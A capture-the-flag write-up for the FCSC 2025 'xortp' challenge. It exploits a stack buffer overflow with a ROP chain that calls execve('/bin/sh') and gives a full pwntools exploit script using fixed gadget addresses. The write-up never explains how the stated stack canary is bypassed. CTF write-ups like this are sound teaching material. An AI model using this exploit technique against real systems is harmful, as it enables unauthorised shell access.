Skip to main content
  1. WriteUps/
  2. FCSC Writeups/

FCSC 2025 - Challenge Xortp

·712 words·4 mins
Table of Contents

Writeup: xortp
#

Challenge Overview
#

This challenge involves exploiting a buffer overflow vulnerability in the “xortp” binary to gain a shell and read the flag. The exploit leverages Return-Oriented Programming (ROP) to bypass modern security protections.

Binary Analysis
#

The binary has the following protections:

  • Architecture: amd64-64-little
  • RELRO: Partial RELRO
  • Stack: Canary found
  • NX: NX enabled (No execution on stack)
  • PIE: No PIE (fixed base address at 0x400000)
  • Not stripped

The key vulnerability appears to be a buffer overflow that allows overwriting the return address despite stack canaries being enabled.

Vulnerability and Exploitation
#

The vulnerability is a classic buffer overflow where we can overwrite the return address. Since NX is enabled, we cannot directly execute shellcode on the stack. Instead, we use ROP to chain together existing code fragments (gadgets) to execute a system call.

Exploitation Strategy
#

  1. Overflow the buffer to control the instruction pointer
  2. Build a ROP chain to execute execve("/bin/sh", 0, 0) syscall
  3. Get a shell and read the flag

🔧 Syscall Calling Convention Reference
#

ArchitectureSyscall Number RegArgument 1Argument 2Argument 3Argument 4Argument 5Argument 6Return ValueInstruction
x86 (32-bit)eaxebxecxedxesiediebpeaxint 0x80
x86_64raxrdirsirdxr10r8r9raxsyscall
ARM (32-bit)r7r0r1r2r3r4r5r0svc 0
ARM64x8x0x1x2x3x4x5x0svc 0

This table is especially useful in ROP-based attacks where we construct a syscall manually by populating the appropriate registers using gadgets.


ROP Chain Details
#

Our goal is to execute the execve syscall (syscall number 59) with the following arguments:

  • rdi = pointer to “/bin/sh” string (first argument)
  • rsi = 0 (second argument - argv, set to NULL)
  • rdx = 0 (third argument - envp, set to NULL)
  • rax = 59 (syscall number for execve)

We use the following ROP gadgets:

pop_rdi = 0x0000000000401f60       # Control first argument
pop_rsi = 0x000000000040f972       # Control second argument
pop_rax_rdx_rbx = 0x00000000004867a6  # Control syscall number and third argument
syscall_gadget = 0x00000000004011a2  # Execute the syscall

The string “/bin/sh” was found at address 0x00498213 in the binary.

Buffer Size
#

The required padding before reaching the return address is 152 bytes.

Exploit Implementation
#

The exploit script uses pwntools to construct and send the payload:

#!/usr/bin/env python3
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('xortp')

# ROP gadgets
pop_rax = 0x00000000004424f7   
pop_rsi = 0x000000000040f972   
pop_rdi = 0x0000000000401f60   
pop_rax_rdx_rbx = 0x00000000004867a6  
syscall_gadget = 0x00000000004011a2  

addr_bin_sh = 0x00498213          

# Connect to the process
io = process('./xortp')  # or remote("host", port)

# Syscall parameters for execve("/bin/sh", 0, 0)
path = addr_bin_sh    # First argument: path to binary
argv = 0              # Second argument: argument array (NULL)
envp = 0              # Third argument: environment variables (NULL)
syscall_num = 59      # Syscall number for execve

BUFFER = 152  # Size of buffer before return address

# Construct the payload
payload = flat(
    b'A'*BUFFER,      # Padding to reach return address
    p64(pop_rdi),     # Pop path into RDI (first argument)
    p64(path),        # Address of "/bin/sh" string
    p64(pop_rsi),     # Pop 0 into RSI (second argument)
    p64(argv),        # NULL for argv
    p64(pop_rax_rdx_rbx),  # Pop syscall number into RAX and third argument into RDX
    p64(syscall_num), # Syscall number for execve (59)
    p64(envp),        # NULL for envp (third argument)
    p64(0),           # Dummy value for RBX
    p64(syscall_gadget)  # Execute the syscall
)

# Send the payload
io.sendline(payload)
io.sendline("id && cat flag.txt")  # Run commands in the obtained shell
io.interactive()

Execution Flow
#

  1. We send a payload that fills the buffer with 152 ‘A’s to reach the return address
  2. The ROP chain is executed:
    • pop_rdi gadget pops the address of “/bin/sh” into RDI
    • pop_rsi gadget pops 0 into RSI
    • pop_rax_rdx_rbx gadget pops 59 into RAX (syscall number), 0 into RDX, and a dummy value into RBX
    • syscall_gadget executes the syscall, which runs execve("/bin/sh", 0, 0)
  3. We now have a shell and can read the flag with cat flag.txt

Flag
#

After gaining the shell, we can read the flag with cat flag.txt command.

Conclusion
#

This challenge demonstrates a classic ROP-based exploitation technique to bypass NX protection. By chaining together existing code gadgets, we can execute arbitrary system calls without injecting executable code onto the stack.